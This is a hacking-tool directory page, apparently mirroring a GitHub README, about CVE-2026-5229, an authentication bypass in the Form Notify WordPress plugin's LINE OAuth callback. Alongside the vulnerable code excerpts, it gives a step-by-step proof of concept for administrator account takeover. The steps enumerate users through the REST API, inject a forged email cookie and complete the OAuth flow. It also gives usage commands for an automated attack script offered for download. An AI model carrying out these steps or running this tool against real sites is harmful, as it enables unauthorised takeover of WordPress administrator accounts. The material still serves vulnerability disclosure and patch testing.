Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-5229 — CVE-2026-5229: Contournement de l'authentification Form Notify via le callback OAuth LINE (CVSS 9.8) | Kitploit
Outils/GitHubGitHub/xxconi/cve-2026-5229
Scanners de VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationApprentissage et Éducation
GitHubxxconi/cve-2026-5229

CVE-2026-5229

CVE-2026-5229: Contournement de l'authentification Form Notify via le callback OAuth LINE (CVSS 9.8)

Voir le dépôt
7il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-5229

CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)

Form Notify — LINE OAuth Authentication Bypass Scanner

Plugin: Form Notify (form-notify) Type de vulnérabilité : Unauthenticated LINE OAuth Authentication Bypass → Account Takeover Score CVSS : 9.8 (Critique) Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Versions affectées : <= 1.1.10 Version corrigée : 1.1.11+ Chercheur : Paolo Tresso — Wordfence


📌 À propos de la vulnérabilité

Le plugin Form Notify est un plugin WordPress qui envoie des notifications après la soumission de formulaires et propose une intégration LINE Login OAuth 2.0.

La vulnérabilité se situe dans le gestionnaire de callback OAuth de LINE. Une fois que l'utilisateur a terminé le flux d'autorisation LINE, le plugin résout le compte WordPress uniquement en fonction de l'adresse email. Il ne vérifie jamais si le compte LINE a déjà été associé à ce compte WordPress.


🔍 Tableau des vulnérabilités par version

VersionVulnérabilitéMéthode d'attaque
<= 1.1.08Injection de cookie + Correspondance emailChemin A ou Chemin B
1.1.09 – 1.1.10Correspondance email (cookie supprimé)Chemin B
1.1.11+Corrigé—

⚙️ Analyse technique

Endpoint REST public

L'endpoint de callback OAuth LINE est enregistré comme étant entièrement public :

// src/APIs/Line/Login/Route.php
register_rest_route(
    'form-notify/v1',
    '/callback',
    array(
        'methods'             => 'GET',
        'callback'            => array( $this, 'get_api_callback' ),
        'permission_callback' => function () {
            return true;  // kimlik doğrulama gerekmez
        },
    )
);

Pourquoi le nonce n'offre-t-il aucune protection ?

Les nonces WordPress sont des jetons CSRF, pas des jetons d'authentification. Chaque visiteur peut obtenir un nonce valide depuis le HTML de la page et réussir le contrôle de vérification.


Résolution de compte par email (1.1.10)

// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email     = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
    $this->user = get_user_by( 'email', $user_email );  // sadece email ile arama
    if ( ! is_wp_error( $this->user ) && $this->user ) {
        return true;  // linkage kontrolü YOK
    }
    return false;
}

Si une correspondance est trouvée, la méthode login() ouvre immédiatement une session :

// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
    if ( ! is_user_logged_in() ) {
        wp_clear_auth_cookie();
        wp_set_current_user( $this->user->ID );
        wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
    }
}

Injection de cookie (<= 1.1.08)

// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
    $line_email = sanitize_text_field(
        wp_unslash( $_COOKIE['form_notify_line_email'] )
    );
}
$user_email = ( $user->email ) ? $user->email : $line_email;

Lorsque le profil LINE ne renvoie pas d'email ($user->email vide), le plugin lit directement le cookie du navigateur. L'attaquant contrôle entièrement ce cookie.


Faiblesse de la validation du state

$session_state = get_transient( 'form_notify_line_state_' . $state );

if ( empty( $session_state ) ) {
    // Transient yoksa $_SESSION'a düşer
    $session_state = sanitize_text_field(
        wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
    );
    set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}

Si la transient a expiré, le repli sur $_SESSION prend le relais. Dans la plupart des installations WordPress, $_SESSION n'est pas rempli à ce stade → le contrôle du state peut être contourné.


Problème secondaire — Email = Mot de passe (<= 1.1.10)

// sign_up() metodu
$userdata = array(
    'user_pass' => $user_email,  // şifre = email adresi
    ...
);

Sur les comptes créés via le flux OAuth LINE, le mot de passe est identique à l'adresse email. Cela permet directement une attaque par force brute ou par connexion.


🔴 Pourquoi est-ce critique ?

RaisonDescription
Aucune authentification requiseL'endpoint de callback est entièrement public
Aucun contrôle de liaisonN'importe quel compte LINE suffit
Attaque par cookieEmail même pas nécessaire sur <= 1.1.08
Tous les comptes, y compris adminget_user_by('email') affecte tout le monde
Contrôle du state faibleLa protection CSRF peut être contournée
Email = Mot de passeLes comptes créés via OAuth sont vulnérables à une force brute triviale

🧪 Preuve de concept (manuelle)

⚠️ Disclaimer: This PoC is provided for educational and authorized security testing purposes only. Testing against systems without explicit permission is illegal.

Prérequis :

  • Plugin Form Notify installé et actif, LINE Login configuré
  • Compte développeur LINE et canal LINE Login
  • Une page avec un bouton de connexion LINE sur le site cible

Chemin A — Injection de cookie (<= 1.1.08)

Étape 1 — Détection de l'email cible

TARGET="https://target.com"

# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool

# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location

Étape 2 — Définir le cookie

Ouvre les outils de développement du navigateur et colle dans la console :

document.cookie = "[email protected]; path=/";

Ou avec curl :

curl -v -b '[email protected]' \
  "$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location

Étape 3 — Lancer le flux OAuth LINE

Ouvre l'URL OAuth LINE présente dans le header Location dans le navigateur.

Étape 4 — Terminer SANS accorder le scope email

Sur l'écran de consentement LINE, n'accorde pas l'autorisation email, ou utilise un compte LINE sans email. LINE redirige vers le callback sans email. Le plugin retombe sur le cookie.

Étape 5 — Vérifier la session

curl -s -b 'wordpress_logged_in_XXXX=...' \
  "$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool

Réponse attendue :

{
  "id": 1,
  "name": "admin",
  "email": "[email protected]",
  "roles": ["administrator"]
}

Chemin B — Correspondance email (<= 1.1.10)

Étape 1 — Détection de l'email cible

Identique à l'étape 1 du chemin A.

Étape 2 — Créer un compte LINE

Crée un compte LINE avec l'email cible sur account.line.biz. (Nécessite une vérification email — l'accès à la boîte de réception cible est indispensable.)

Étape 3 — Lancer le flux OAuth

https://target.com/wp-json/form-notify/v1/login

Étape 4 — Terminer en ACCORDANT le scope email

Sur l'écran de consentement LINE, accorde l'autorisation email. LINE renvoie l'adresse email au callback.

Étape 5 — Authentification automatique

Plugin: is_member('[email protected]')
     → get_user_by('email', '[email protected]')
     → Administrator bulundu
     → wp_set_auth_cookie(1)
     → Oturum açıldı ✓

🛠️ Scanner automatique

Installation

git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt

requirements.txt

requests

🚀 Utilisation

Cible unique — Découverte automatique d'email

python form_notify_rce.py -u http://hedef.com

Chemin A avec email spécifique (injection de cookie)

python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path A
Télécharger l’outil